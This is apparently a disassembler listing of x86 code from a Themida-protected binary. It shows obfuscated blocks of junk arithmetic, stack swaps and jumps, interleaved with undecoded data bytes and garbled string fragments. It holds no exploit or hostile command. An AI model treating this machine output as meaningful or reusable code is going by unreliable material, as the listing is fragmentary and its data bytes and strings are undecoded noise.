; ---------------------------------------------------------------------------


loc_556EB6:				; CODE XREF: Themida_:005579D8j
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 99h
		shl	dl, 1
		sub	dl, 86h
		sub	bl, 2
		sub	bl, dl
		add	bl, 2
		jmp	loc_561163
; ---------------------------------------------------------------------------
		db 57h
		dd 1C46DC68h, 0D7F75F39h, 0F756E951h, 4481FFFFh, 26030424h
		dd 8BE948D0h, 0C1000052h, 0E3D102EBh, 0D107E3C1h, 6EBC1E3h
		dd 0E42CC381h, 0C681FE69h, 5DBB1D43h, 7BF0C681h, 47E949CCh
		dd 1FFFFB5h, 24348BF0h,	6804C483h, 7278h, 0B9240C89h, 3D105214h
		dd 0E959C801h, 0B1ADh, 92768h, 240C8900h, 0B68E189h, 89000006h
		dd 4BE2434h, 68000000h,	3E0Fh, 0BD242C89h, 43BC2CDBh, 15A3F581h
		dd 0E901278Ah, 0C03FE95Dh, 0E7810000h, 0CEB3D6Ah, 4C61C781h
		dd 0FE294082h, 6A21E9h,	97E95300h, 0AC000028h, 1CA6866h
		dd 240C8966h, 8421E9h, 1C28000h, 6604EAC0h, 3416E950h
		dd 0B6520000h, 0D001E9A8h, 0B652FFFFh, 6BCE8042h, 887FC680h
		dd 47345AF0h, 403E8C0h,	0BBA8E9E9h, 0F2810000h,	4EC425E7h
		dd 0FD56C281h, 0D1898008h, 246C815Ah, 0D0260304h, 244C0148h
		dd 0FF0CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556FD6:				; CODE XREF: Themida_:0056269Bj
		push	eax
		jmp	loc_55D14A
; ---------------------------------------------------------------------------


loc_556FDC:				; CODE XREF: Themida_:00562B4Cj
		mov	[esp], esi
		mov	esi, 5AD66317h
		or	esi, 463672C3h
		push	ecx
		jmp	loc_561BC1
; ---------------------------------------------------------------------------
		dd 3C8BF929h, 4C48324h,	9E24E9h, 5FFA8900h, 75F7E981h
		dd 0D12930A1h, 0F7C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55700D:				; CODE XREF: Themida_:0055FCFAj
		push	662Fh
		mov	[esp], edx
		push	ebx
		push	1FE656EAh
		pop	ebx
		not	ebx
		shl	ebx, 8
		jmp	loc_5591A5
; ---------------------------------------------------------------------------
aSz		db '[é§',0Bh,0
		align 4
aH4		db 'h³4',0
		dd 240C8900h, 2205568h,	240C8B37h, 4C481h, 0C1810000h
		dd 65E149CBh, 7B656850h, 2558721Fh, 5657616h, 5225BE56h
		dd 0F0211FD2h, 0E924348Bh, 0F9F1h, 4C481h, 7FE90000h, 51FFFFA6h
		dd 42474FFh, 24048F59h,	0C5BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55707D:				; CODE XREF: Themida_:005577E4j
		sub	eax, 740C446Bh
		push	ebx
		mov	ebx, 0E8DE3AE6h
		jmp	loc_561950
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24148966h, 0E99C5066h, 0FFFFA652h, 0BA52E389h, 51C05F0Fh
		dd 0C2834A42h, 0F6C281FFh, 81AE3FA0h, 0CD595EEBh, 81D3010Ch
		dd 0CD595EC3h, 0C449E90Ch, 0E288FFFFh, 0CCD6E958h, 0E951FFFFh
		dd 614Bh
; ---------------------------------------------------------------------------


loc_5570D0:				; CODE XREF: Themida_:00560B99j
		mov	[esp], edx
		mov	edx, 514E08B6h
		push	edx
		not	dword ptr [esp]
		pop	edx
		dec	edx
		or	edx, 60B41184h
		push	eax
		mov	eax, 2C3C6EE7h
		push	esi
		mov	esi, 0BB40ED62h
		jmp	loc_55D321
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0A2E90000h, 53FFFFA8h, 0AEE9CB89h, 8BFFFFB8h
		dd 0C483240Ch, 0B1516604h, 66CC2864h, 0E9EC0059h, 0FFFFAF8Dh
		dd 89EE8956h, 0C15D5EF0h, 0C4E906E8h
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55712F:				; CODE XREF: Themida_:00555088j
		add	dword ptr [esp], 11F378FEh
		pop	esi
		jmp	loc_56381C
; ---------------------------------------------------------------------------
		dd 0E9E8205Ch, 0FFFFE6B5h, 4F7168h, 241C8900h, 0C381E389h
		dd 4, 48DDB951h, 0D1F73D24h, 67CEBB53h,	0E7E94977h, 80000049h
		dd 45845C7h, 51F82848h,	0FFF770E9h, 242489FFh, 0EC24E9h
		dd 24148900h, 0F62324BAh, 1AB85014h, 0F70C7174h, 0CBE940D0h
		dd 510000C6h, 4B9h, 59CE2900h, 5C243487h, 68242C89h, 1B7185Eh
		dd 0FFACD7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5571AD:				; CODE XREF: Themida_:0055A71Ej
		mov	ebx, [esp]
		push	esi
		jmp	loc_55C6FB
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 0E8C78108h, 81903C4Ch, 0E533D9C3h, 0C387E90Eh, 54010000h
		dd 8B5A0424h, 0C481242Ch, 4, 24E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5571DD:				; CODE XREF: Themida_:0055A65Ej
		pop	ecx
		jmp	loc_554B7B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 6203A5F3h, 3842C738h,	1B137394h, 68385AF7h
		dd 2AE6h, 0BB241C89h, 61FF19E9h, 0F706E3C1h, 80EB81D3h
		dd 9539924h, 0B3E9385Ah, 83FFFFB8h, 0C8904ECh, 52866824h
		dd 24890000h, 4BB5324h,	1000000h, 8B04245Ch, 8957241Ch
		dd 0C8BB53E7h, 4B02FB4Fh, 0E1B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_557245:				; CODE XREF: Themida_:00557E2Dj
		push	ecx
		jmp	loc_555009
; ---------------------------------------------------------------------------
		db 0BFh
		dd 5C4574CFh, 3C8BF801h, 4C48324h, 0CF2DE801h, 8B5C4574h
		dd 26E9242Ch
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_557267:				; CODE XREF: Themida_:0055DFFEj
		xor	ch, bl
		pop	ebx
		jmp	loc_55ED3B
; ---------------------------------------------------------------------------
		db 29h
		dd 0CBED81F5h, 0E9323834h, 0E414h, 88E9C689h, 0B90000BAh
		dd 798E6468h, 62E9CE01h, 2D00008Bh, 4E3E18ECh, 0EEE9D001h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55729B:				; CODE XREF: Themida_:0055BA11j
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55FAA3
; ---------------------------------------------------------------------------
		db 68h,	8Fh, 57h
		dd 0EAE97FEDh, 830000EBh, 1C8904ECh, 0AA33E924h, 0C89FFFFh
		dd 46824h, 50590000h, 405E089h,	83000000h, 0FF5004E8h
		dd 0E9042474h, 0D156h, 240C8B54h, 5604C483h, 4EC81h, 7BE90000h
		dd 88000039h, 240C8BECh, 4EC81h, 34890000h, 0E9E68924h
		dd 0F1C3h, 24048B66h, 8904EC83h, 0FCE9242Ch
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55731B:				; CODE XREF: Themida_:00562852j
		inc	edi
		push	edx
		mov	edx, 4602851h
		sub	edi, edx
		pop	edx
		mov	eax, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_557B8D
; ---------------------------------------------------------------------------


loc_55733B:				; CODE XREF: Themida_:00555424j
		xchg	edx, [esp]
		jmp	loc_558BB3
; ---------------------------------------------------------------------------


loc_557343:				; CODE XREF: Themida_:00552C3Bj
		sub	esp, 4
		jmp	loc_551BA5
; ---------------------------------------------------------------------------


loc_55734E:				; CODE XREF: Themida_:00560415j
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ecx
		jmp	loc_55A4A0
; ---------------------------------------------------------------------------


loc_55735A:				; CODE XREF: Themida_:0055D84Aj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 7
		push	73DFh
		mov	[esp], edx
		mov	edx, 1Ch
		jmp	loc_55256F
; ---------------------------------------------------------------------------
aYyss7		db 'YYSé7°',0
		align 2
		dw 0C33h
		dd 240C3124h, 8B240C33h, 85662424h, 47E99CC8h, 51FFFFA3h
		dd 81767568h, 2434FF60h, 4C48359h, 4EC81h, 1C890000h, 598BB24h
		dd 0F4E92653h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5573C7:				; CODE XREF: Themida_:0055BD0Fj
		push	dx
		mov	dh, 2Fh
		xor	ch, dh
		pop	dx
		not	ch
		add	ch, 3Ah
		xor	bh, ch
		pop	ecx
		shr	bh, 8
		add	bh, 5Ah
		sub	al, 67h
		jmp	loc_5518C8
; ---------------------------------------------------------------------------


loc_5573E4:				; CODE XREF: Themida_:00564E2Cj
		push	edx
		mov	edx, esp
		jmp	loc_561FE3
; ---------------------------------------------------------------------------


loc_5573EC:				; CODE XREF: Themida_:00552A27j
		mov	ebx, ecx
		pop	ecx
		add	ebx, 278861D7h
		jmp	loc_562F55
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 0ED4B850h, 0D8F71FA5h, 0F11C3540h, 0DE9D34Ah, 66000096h
		dd 8124048Bh, 4ECh, 241C8900h, 0C381E389h, 4, 650168h
		dd 240C8900h, 786368h, 242C8900h, 0F2452DBDh, 0FFE9897Dh
		dd 835D2434h, 246804C4h, 89000026h, 0A9BE2434h,	8349C659h
		dd 0E4E9FFC6h, 0B900005Ch, 40746712h, 1EE007BAh, 59CA01D9h
		dd 8904EC83h, 0E2E92434h, 870000CAh, 665C2414h,	66243C89h
		dd 66752EBFh, 8B66FE31h, 49E9243Ch
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557487:				; CODE XREF: Themida_:0056015Cj
		xor	ebx, 96A469A3h
		jmp	loc_55599D
; ---------------------------------------------------------------------------


loc_557492:				; CODE XREF: Themida_:00565BA7j
		shl	esi, 7
		not	esi
		inc	esi
		jmp	loc_55C036
; ---------------------------------------------------------------------------
		db 0BBh, 13h, 2Fh
		dd 5C013D1Eh, 815B0824h, 48042444h, 11B6677h, 8104245Ch
		dd 4804246Ch, 811B6677h, 1304246Ch, 8B3D1E2Fh, 0C483241Ch
		dd 2434FF04h, 0E92434FFh, 83ECh, 0E9242489h, 7A66h, 240C8B66h
		dd 685B5453h, 272Ah, 0BE243489h, 12C333ECh, 0D951E9h, 0D0005800h
		dd 0E924148Bh, 1998h
; ---------------------------------------------------------------------------


loc_557500:				; CODE XREF: Themida_:00564635j
		sub	ecx, ebx
		add	ecx, 6D25708Dh
		jmp	loc_55C55D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 2C48324h, 0EC81DEF6h, 2, 24148966h, 87FCE9h,	24248900h
		dd 4240481h, 0E9000000h, 312Fh,	0FC4A5D68h, 0E952591Ah
		dd 0FFFFE79Ch, 81E38953h, 4C3h,	5CF9E900h, 8F540000h, 62E92404h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_557557:				; CODE XREF: Themida_:00558B56j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		jmp	loc_5579BE
; ---------------------------------------------------------------------------


loc_557573:				; CODE XREF: Themida_:005575A2j
		add	edi, 4
		jmp	loc_5607F6
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 3C0F7013h, 0FFF69AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557589:				; CODE XREF: Themida_:005659DCj
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	1
		pop	ebp
		push	edi
		mov	edi, esp
		jmp	loc_557573
; ---------------------------------------------------------------------------
		db 80h
		dd 0F65216CEh, 5A012454h, 800BCE80h, 0F388E3F6h, 83E3805Ah
		dd 5208EBC0h, 0D6F6DE88h, 9C3AE9h, 2EA5BA00h, 0EA810D43h
		dd 251F1D8Eh, 0AEDEB850h, 0C229A4A6h, 19F6E958h, 0C4810000h
		dd 4, 51585450h, 4B9h, 59C80100h, 42Dh,	0A5EAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5575FE:				; CODE XREF: Themida_:005569E6j
		mov	edi, eax
		jmp	loc_5585CE
; ---------------------------------------------------------------------------
		db 1, 0D8h, 0E9h
		dd 63EBh, 0FF241489h, 5A042474h, 8B24048Fh, 0E9F72424h
		dd 9E6EE9h, 0CFF5200h, 4985E924h, 348B0000h, 4C48324h
		dd 2C781h, 0EC810000h, 4, 54240489h, 128CE958h,	2C8B0000h
		dd 4C48124h, 87000000h,	0E95C2434h, 744Ch, 4E685A50h, 89000040h
		dd 7C682434h, 89000014h, 0EC832414h, 242C8904h,	3F51B951h
		dd 0E9830A2Eh, 57414101h, 486146BFh, 64CF8140h,	0C110436Dh
		dd 0CF8105E7h, 0E51636Fh, 0DAC7814Fh, 29490A64h, 0C1815FF9h
		dd 68764D01h, 159CD89h,	8B04246Ch, 0C481242Ch, 4, 8124348Bh
		dd 4C4h, 0F1BFE900h, 525C0000h,	6602EC83h, 0B4240489h
		dd 0AAE5E9B9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5576CE:				; CODE XREF: Themida_:0055BD69j
		add	ebp, edi
		add	ebp, 56747B90h
		jmp	loc_557C0B
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 7E95C24h, 81FFFFA0h, 0A96CDDEAh, 0B6E95F03h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5576F3:				; CODE XREF: Themida_:0055A058j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_564398
; ---------------------------------------------------------------------------


loc_557705:				; CODE XREF: Themida_:00552B16j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	60DAh
		mov	[esp], ebx
		push	edx
		push	ebx
		jmp	loc_5640CF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C38105E3h, 0CEB85682h, 875BDA01h, 525C2414h, 51E905B6h
		dd 10000EDh, 24148BD0h,	4C481h,	4870000h, 24248B24h, 86DEE9h
		dd 24048100h, 4, 0A04CE9h, 0C1C28100h, 8177572Bh, 0BD112BC2h
		dd 0E9CA010Dh, 3D3Ch
; ---------------------------------------------------------------------------


loc_557768:				; CODE XREF: Themida_:005639EAj
		add	esi, ebp
		push	ebx
		push	esi
		mov	esi, 1985451Ah
		mov	ebx, esi
		pop	esi
		sub	esi, ebx
		pop	ebx
		sub	esi, 56D74610h
		mov	ebp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	esi, 8F5592D7h
		sub	esp, 4
		mov	[esp], esi
		push	esi
		mov	esi, 7C7070E3h
		xor	[esp+4], esi
		pop	esi
		pop	ecx
		xor	ecx, 7C7070E3h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5587E2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9F62424h, 0CCB60F66h, 80E95456h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5577CF:				; CODE XREF: Themida_:005636FDj
		sub	bx, dx
		jmp	loc_5634AD
; ---------------------------------------------------------------------------


loc_5577D7:				; CODE XREF: Themida_:00561E7Fj
		or	eax, edx
		pop	edx
		xor	eax, 5178788Ch
		sub	eax, 529D3866h
		jmp	loc_55707D
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 8F04C483h, 248B2404h, 5A545224h, 4C281h, 0E9500000h
		dd 0FFFFB76Ah, 4941E1D1h, 0D16AE955h, 875D0000h, 895C2414h
		dd 4BF243Ch, 81000000h,	46037DEDh, 0E9FD2978h, 0FFFFCCC1h
		dd 50243C8Bh, 405E089h,	83000000h, 48704C0h, 0CD815C24h
		dd 34FE3D2Eh, 0DDF7DDF7h, 0F74DDDF7h, 13ED81D5h, 683E72D6h
		dd 3308h, 89243C89h, 5F5A57EFh,	5AD0015Dh, 0CCE9D829h
		dd 310000DEh, 0C33240Ch, 0E904E924h, 0FE310000h, 5EF1315Fh
		dd 5759CB31h, 2B16A9BFh, 0F781471Ah, 0EA56534h,	815FFB31h
		dd 0D45FEAC7h, 0E9DF011Dh, 0F21Eh, 39E9D0F7h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55789F:				; CODE XREF: Themida_:00566D0Ej
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 804026h
		add	edi, esi
		pop	esi
		jmp	loc_56256E
; ---------------------------------------------------------------------------
		dd 136F8805h, 24348B03h, 81E28952h, 4C2h, 4C28300h, 2474FF52h
		dd 0B7E95A04h, 81000094h, 0D7EF5DF6h, 5EF10183h, 2474FF51h
		dd 48F5904h, 0EC815C24h, 4, 56241489h, 8073E9h,	68505200h
		dd 422572A3h, 1AF9E9h, 97EF8100h, 1B333A0h, 0B7E95FFAh
		dd 4100008Bh, 0F708E1C1h, 5C181D1h, 1A1C6E9h, 240C8BCBh
		dd 8104C483h, 4C3h, 7AF4E900h, 2C310000h, 242C3324h, 2924248Bh
		dd 0E99C2404h, 0FFFF9DA6h, 0EBF5815Dh, 1CC5D3Fh, 242C8BE9h
		dd 3B30E9h, 5CB900h, 0A1E97AFBh, 89FFFFFEh, 0CBD7E9EAh
		dd 3C890000h, 1DC4BF24h, 0C7817BA9h, 49BA209Eh,	0FFAAD0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55797D:				; CODE XREF: Themida_:005607C7j
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_552391
; ---------------------------------------------------------------------------


loc_557991:				; CODE XREF: Themida_:005645E9j
		push	edx
		jmp	loc_563C53
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 5602C683h,	42474FFh
		dd 8324348Bh, 48F04C4h,	0DE43E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5579BE:				; CODE XREF: Themida_:0055756Ej
		push	eax
		mov	eax, 1E9F6354h
		mov	ecx, eax
		pop	eax
		jmp	loc_5607FC
; ---------------------------------------------------------------------------


loc_5579CC:				; CODE XREF: Themida_:005568CFj
		shl	ch, 6
		xor	ch, 2Ch
		add	bh, ch
		pop	ecx
		xor	al, bh
		pop	ebx
		jmp	loc_556EB6
; ---------------------------------------------------------------------------


loc_5579DD:				; CODE XREF: Themida_:00559CB1j
		mov	ecx, esp
		jmp	loc_555D6F
; ---------------------------------------------------------------------------


loc_5579E4:				; CODE XREF: Themida_:00557BE5j
		add	bl, 0E1h
		sub	bl, 0A4h
		pop	edx
		jmp	loc_5532EC
; ---------------------------------------------------------------------------
		dd 81FFEF83h, 0F150E2EFh, 63C78155h, 293FE82Ah,	0BD555FFBh
		dd 2A893486h, 0B8BCE9h,	0EA815900h, 6CC63769h, 0C281F229h
		dd 6CC63769h, 2FCBC281h, 0C28117B9h, 6E719ABh, 8324348Bh
		dd 0C20104C4h, 0E95A0A89h, 0FFFF9CB6h, 8704C783h, 3EE9243Ch
		dd 660000DDh, 56240C8Bh, 4EC81h, 8F540000h, 0E3E92404h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_557A57:				; CODE XREF: Themida_:00558D6Aj
		push	ebx
		push	ebp
		mov	ebp, 50DB673Dh
		jmp	loc_561632
; ---------------------------------------------------------------------------


loc_557A63:				; CODE XREF: Themida_:005614FAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		jmp	loc_55AE5E
; ---------------------------------------------------------------------------


loc_557A7C:				; CODE XREF: Themida_:0055DC62j
		xor	ecx, [esp]
		pop	esp
		push	184Ch
		mov	[esp], esi
		mov	esi, 54D977E2h
		shl	esi, 7
		push	25CDh
		mov	[esp], edi
		jmp	loc_56579A
; ---------------------------------------------------------------------------


loc_557A9D:				; CODE XREF: Themida_:0055E8EBj
		add	ebx, edi
		pop	edi
		sub	ebx, 4ECE5B42h
		add	ebx, edi
		add	ebx, 4ECE5B42h
		jmp	loc_555429
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9D188C2h, 1889h, 0DDE9D029h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557AC3:				; CODE XREF: Themida_:00562428j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_557F52
; ---------------------------------------------------------------------------
		db 1
		dd 0F8B0E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557ADA:				; CODE XREF: Themida_:0055AB11j
		add	al, bh
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		add	bl, 69h
		push	edx
		push	ebx
		mov	bl, 0C1h
		shr	bl, 6
		neg	bl
		xchg	dh, bl
		push	edx
		not	byte ptr [esp+1]
		jmp	loc_55814A
; ---------------------------------------------------------------------------


loc_557AFB:				; CODE XREF: Themida_:00560D6Bj
		push	286Bh
		mov	[esp], ebx
		jmp	loc_558F97
; ---------------------------------------------------------------------------
		dd 8BD7015Dh, 0C4812414h, 4, 3C8BF809h,	4C48324h, 1DBE5640h
		dd 1088254h, 0C5015EF0h, 0CE68E958h, 0C781FFFFh, 4, 4BB53h
		dd 0DF290000h, 243C875Bh, 0D096E9h
		db 0
; ---------------------------------------------------------------------------


loc_557B45:				; CODE XREF: Themida_:00554854j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_565C75
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 4C181h, 0FE90000h,	5B0000A0h, 4C481h, 0F0E90000h
		dd 5AFFFFE5h, 240CFF51h, 0C24FE959h, 0FE29FFFFh, 546BEE81h
		dd 97E91379h, 0BDFFFFB5h, 4, 0FFEDFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557B8D:				; CODE XREF: Themida_:00557336j
		xchg	ecx, [esp]
		pop	esp
		add	ebp, 1CF43A5Eh
		add	ebp, eax
		sub	ebp, 1CF43A5Eh
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_564FC8
; ---------------------------------------------------------------------------
		dd 241C8B66h, 0E902C483h, 2CDBh
; ---------------------------------------------------------------------------


loc_557BBC:				; CODE XREF: Themida_:0055BBD0j
		add	edi, 16ED5586h
		sub	ebx, edi
		jmp	loc_55800C
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 0C1h
		dd 0BFE907EFh, 56FFFFA9h, 2A4557BEh, 0E9DEF71Fh, 120Fh
; ---------------------------------------------------------------------------


loc_557BE0:				; CODE XREF: Themida_:00562972j
		sub	bl, 0E1h
		sub	bl, dl
		jmp	loc_5579E4
; ---------------------------------------------------------------------------


loc_557BEA:				; CODE XREF: Themida_:0055382Fj
		push	4A3Eh
		jmp	loc_5580AE
; ---------------------------------------------------------------------------
		dd 4C481h, 0C2810000h, 4, 8B241487h, 78E92424h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C0B:				; CODE XREF: Themida_:005576D6j
		pop	edi
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	4433h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_561507
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 2BCFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557C3E:				; CODE XREF: Themida_:0056395Aj
		add	esp, 4
		shr	ecx, 7
		push	56E0h
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_5650B2
; ---------------------------------------------------------------------------


loc_557C5C:				; CODE XREF: Themida_:00566B57j
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		div	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55D3B4
; ---------------------------------------------------------------------------


loc_557C88:				; CODE XREF: Themida_:00561DE9j
		push	eax
		mov	eax, 65AB54C8h
		add	eax, 2DD96DD7h
		add	eax, 681A2FB0h
		xor	eax, 2A9E72E1h
		add	eax, 2EFF7F56h
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 0DCF3DB0h
		jmp	loc_55B362
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 81582434h, 4ECh,	240C8900h, 52565954h, 0BF1A8F68h
		dd 0F2815A47h, 3ABC1B87h, 2CE9D689h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557CD7:				; CODE XREF: Themida_:00563934j
		mov	esp, [esp]
		mov	[esp], eax
		mov	ah, 90h
		push	ebx
		mov	bl, 2Dh
		and	ah, bl
		pop	ebx
		push	edx
		jmp	loc_562F20
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 9083E900h, 0D0010000h, 0DD127A05h
		dd 1739E949h, 0C6810000h, 3C924AA4h, 1AF9E9h, 0A073BE00h
		dd 0F131FDC3h, 59CA895Eh, 0D7E9D029h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557D23:				; CODE XREF: Themida_:00551743j
		neg	bh
		xor	bh, 2Eh
		sub	dl, bh
		pop	ebx
		xor	cl, dl
		pop	edx
		jmp	loc_55FCFF
; ---------------------------------------------------------------------------
		db 5
		dd 4, 4EC81h, 3C890000h, 0AAE95124h, 0C0FFFFE9h, 0DAF605EAh
		dd 0E947F280h, 0FFFF9D84h, 24E94559h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D5B:				; CODE XREF: Themida_:0055D202j
		push	ebx
		mov	ebx, 6642D21h
		and	ebx, 7E4B0857h
		xor	ebx, 57BB7D02h
		xor	edi, ebx
		pop	ebx
		jmp	loc_564A61
; ---------------------------------------------------------------------------


loc_557D75:				; CODE XREF: Themida_:00564911j
		sub	eax, 7C94D5Dh
		pop	ebx
		add	eax, edx
		push	458Fh
		jmp	loc_563A91
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FAE9240Ch, 570000D7h, 560F1BBFh, 5FFB2121h,	2AE3814Bh
		dd 816EAB20h, 467AB8F3h, 81DBF736h, 2AC7F8F3h, 49ED8187h
		dd 0E953067Fh, 62F6h
; ---------------------------------------------------------------------------


loc_557DB8:				; CODE XREF: Themida_:00562770j
		pop	ebx
		sub	edi, 20762A08h
		and	edi, 592F7F62h
		shr	edi, 1
		push	1F99h
		mov	[esp], ebx
		mov	ebx, 109A5E94h
		xor	edi, ebx
		pop	ebx
		jmp	loc_5537FC
; ---------------------------------------------------------------------------


loc_557DDC:				; CODE XREF: Themida_:005604FEj
		sub	eax, edx
		pop	edx
		add	eax, 76182A49h
		push	ebp
		mov	ebp, 687879E6h
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edi
		add	eax, 687879E6h
		sub	eax, 76182A49h
		add	eax, 29A304FBh
		push	76E0h
		mov	[esp], ebx
		push	0
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 34EA0A3Ah
		sub	ebx, 4D295CADh
		add	ebx, eax
		add	ebx, 4D295CADh
		jmp	loc_557245
; ---------------------------------------------------------------------------
aVS		db '^V]éÁì',0
		align 2
a1S		db '1,$éÀ½',0
		align 2
		dw 0C483h
		dd 8BC28904h, 0C4812404h, 4, 0A659E956h, 0C2810000h, 4
		dd 8704EA83h, 895C2414h, 32E9241Ch
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E6B:				; CODE XREF: Themida_:00559A5Fj
		mov	[esp], ecx
		mov	cl, 0B2h
		push	edx
		mov	dl, 0ECh
		push	edx
		not	byte ptr [esp]
		pop	edx
		jmp	loc_566579
; ---------------------------------------------------------------------------
aRvhWL4SS	db 'RVh',8,'WË"‹4$é|s',0
		align 4
aHsm		db 'hSm',0
		dd 53E95B02h, 810000A6h, 0F1A82BC2h, 5AD60108h,	348BF589h
		dd 0A8CBE924h, 14F70000h, 24148B24h, 0FFC85DE9h, 8DE95BFFh
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_557EBB:				; CODE XREF: Themida_:00553BE1j
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		jmp	loc_562B51
; ---------------------------------------------------------------------------


loc_557EC9:				; CODE XREF: Themida_:0055D34Dj
		add	esp, 4
		add	edx, 97618DFh
		shl	edx, 2
		add	edx, 7F05747Ah
		jmp	loc_558618
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 242C8900h, 0C581E589h,	4, 88EAE9h, 2434FF00h
		dd 0D60FE958h, 0EB81FFFFh, 7E1812E8h, 0EBE4E9h
		db 0
; ---------------------------------------------------------------------------


loc_557F0D:				; CODE XREF: Themida_:00558B68j
		push	esi
		mov	si, 28A2h
		add	si, 0E9Eh
		push	ebx
		mov	bx, 1AE9h
		add	bx, 0AE67h
		jmp	loc_55DECB
; ---------------------------------------------------------------------------


loc_557F26:				; CODE XREF: Themida_:0055E394j
		mov	edx, esi
		jmp	loc_55B89B
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
